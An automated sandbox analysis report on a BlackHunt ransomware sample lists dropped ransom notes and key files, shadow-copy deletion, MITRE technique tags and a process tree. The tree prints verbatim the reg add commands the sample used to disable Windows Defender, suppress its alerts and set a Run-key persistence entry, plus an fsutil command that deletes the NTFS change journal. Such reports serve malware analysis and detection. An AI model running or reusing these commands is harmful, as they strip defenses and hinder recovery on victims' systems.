File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\15x15dot.png	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-api.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages.properties	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_chroma\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Kentucky\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh89	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_ReadMe.txt	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576_91n92.png	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jre7\release	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_ReadMe.txt	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG_PAL.wmv	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#BlackHunt_ReadMe.txt	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.ja_5.5.0.165303.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Palmer	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs-nio2_ja.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kuala_Lumpur	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_ja_4.4.0.v20140623020002.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_it.properties	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\play-background.png	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\jaccess.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\#BlackHunt_Private.key	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt_0.12.1.v20140903-1023.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-text.xml	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\LICENSE	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_ReadMe.hta	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File created	C:\Program Files (x86)\Adobe\#BlackHunt_ReadMe.txt	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Taipei	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_ja.jar	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG_PAL.wmv	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3048	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1492	vssadmin.exe
2588	vssadmin.exe
2752	vssadmin.exe
3008	vssadmin.exe
1284	vssadmin.exe
2744	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1616	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3192	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2720	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Token: SeRestorePrivilege	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Token: SeBackupPrivilege	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Token: SeTakeOwnershipPrivilege	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Token: SeAuditPrivilege	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Token: SeSecurityPrivilege	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Token: SeIncBasePriorityPrivilege	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Token: SeBackupPrivilege	1764	vssvc.exe
Token: SeRestorePrivilege	1764	vssvc.exe
Token: SeAuditPrivilege	1764	vssvc.exe
Token: SeBackupPrivilege	684	wbengine.exe
Token: SeRestorePrivilege	684	wbengine.exe
Token: SeSecurityPrivilege	684	wbengine.exe
Token: SeSecurityPrivilege	1948	wevtutil.exe
Token: SeBackupPrivilege	1948	wevtutil.exe
Token: SeSecurityPrivilege	2316	wevtutil.exe
Token: SeBackupPrivilege	2316	wevtutil.exe
Token: SeSecurityPrivilege	940	wevtutil.exe
Token: SeSecurityPrivilege	2936	wevtutil.exe
Token: SeBackupPrivilege	940	wevtutil.exe
Token: SeBackupPrivilege	2936	wevtutil.exe
Token: SeSecurityPrivilege	1572	wevtutil.exe
Token: SeBackupPrivilege	1572	wevtutil.exe
Token: SeDebugPrivilege	1616	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 1804	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	29
PID 2976 wrote to memory of 1804	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	29
PID 2976 wrote to memory of 1804	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	29
PID 2976 wrote to memory of 1804	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	29
PID 2976 wrote to memory of 3028	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	31
PID 2976 wrote to memory of 3028	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	31
PID 2976 wrote to memory of 3028	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	31
PID 2976 wrote to memory of 3028	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	31
PID 2976 wrote to memory of 2904	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	32
PID 2976 wrote to memory of 2904	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	32
PID 2976 wrote to memory of 2904	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	32
PID 2976 wrote to memory of 2904	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	32
PID 1804 wrote to memory of 3060	1804	cmd.exe	34
PID 1804 wrote to memory of 3060	1804	cmd.exe	34
PID 1804 wrote to memory of 3060	1804	cmd.exe	34
PID 2976 wrote to memory of 2684	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	35
PID 2976 wrote to memory of 2684	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	35
PID 2976 wrote to memory of 2684	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	35
PID 2976 wrote to memory of 2684	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	35
PID 2976 wrote to memory of 2376	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	37
PID 2976 wrote to memory of 2376	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	37
PID 2976 wrote to memory of 2376	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	37
PID 2976 wrote to memory of 2376	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	37
PID 2976 wrote to memory of 2792	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	40
PID 2976 wrote to memory of 2792	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	40
PID 2976 wrote to memory of 2792	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	40
PID 2976 wrote to memory of 2792	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	40
PID 2976 wrote to memory of 2848	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	42
PID 2976 wrote to memory of 2848	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	42
PID 2976 wrote to memory of 2848	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	42
PID 2976 wrote to memory of 2848	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	42
PID 2976 wrote to memory of 2932	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	44
PID 2976 wrote to memory of 2932	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	44
PID 2976 wrote to memory of 2932	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	44
PID 2976 wrote to memory of 2932	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	44
PID 3028 wrote to memory of 2860	3028	cmd.exe	46
PID 3028 wrote to memory of 2860	3028	cmd.exe	46
PID 3028 wrote to memory of 2860	3028	cmd.exe	46
PID 2976 wrote to memory of 2828	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	47
PID 2976 wrote to memory of 2828	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	47
PID 2976 wrote to memory of 2828	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	47
PID 2976 wrote to memory of 2828	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	47
PID 2976 wrote to memory of 2596	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	48
PID 2976 wrote to memory of 2596	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	48
PID 2976 wrote to memory of 2596	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	48
PID 2976 wrote to memory of 2596	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	48
PID 2976 wrote to memory of 2872	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	51
PID 2976 wrote to memory of 2872	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	51
PID 2976 wrote to memory of 2872	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	51
PID 2976 wrote to memory of 2872	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	51
PID 2904 wrote to memory of 3064	2904	cmd.exe	50
PID 2904 wrote to memory of 3064	2904	cmd.exe	50
PID 2904 wrote to memory of 3064	2904	cmd.exe	50
PID 2976 wrote to memory of 2836	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	53
PID 2976 wrote to memory of 2836	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	53
PID 2976 wrote to memory of 2836	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	53
PID 2976 wrote to memory of 2836	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	53
PID 2976 wrote to memory of 2804	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	54
PID 2976 wrote to memory of 2804	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	54
PID 2976 wrote to memory of 2804	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	54
PID 2976 wrote to memory of 2804	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	54
PID 2976 wrote to memory of 2756	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	56
PID 2976 wrote to memory of 2756	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	56
PID 2976 wrote to memory of 2756	2976	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe
"C:\Users\Admin\AppData\Local\Temp\a1942cd0df8eea45c6dd9cb158a35b7b91b13d0664dc27dfc0f210eb793fdc27.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1352
  - - C:\Windows\system32\fsutil.exe
      fsutil.exe usn deletejournal /D C:
      4⤵
      Deletes NTFS Change Journal
      PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
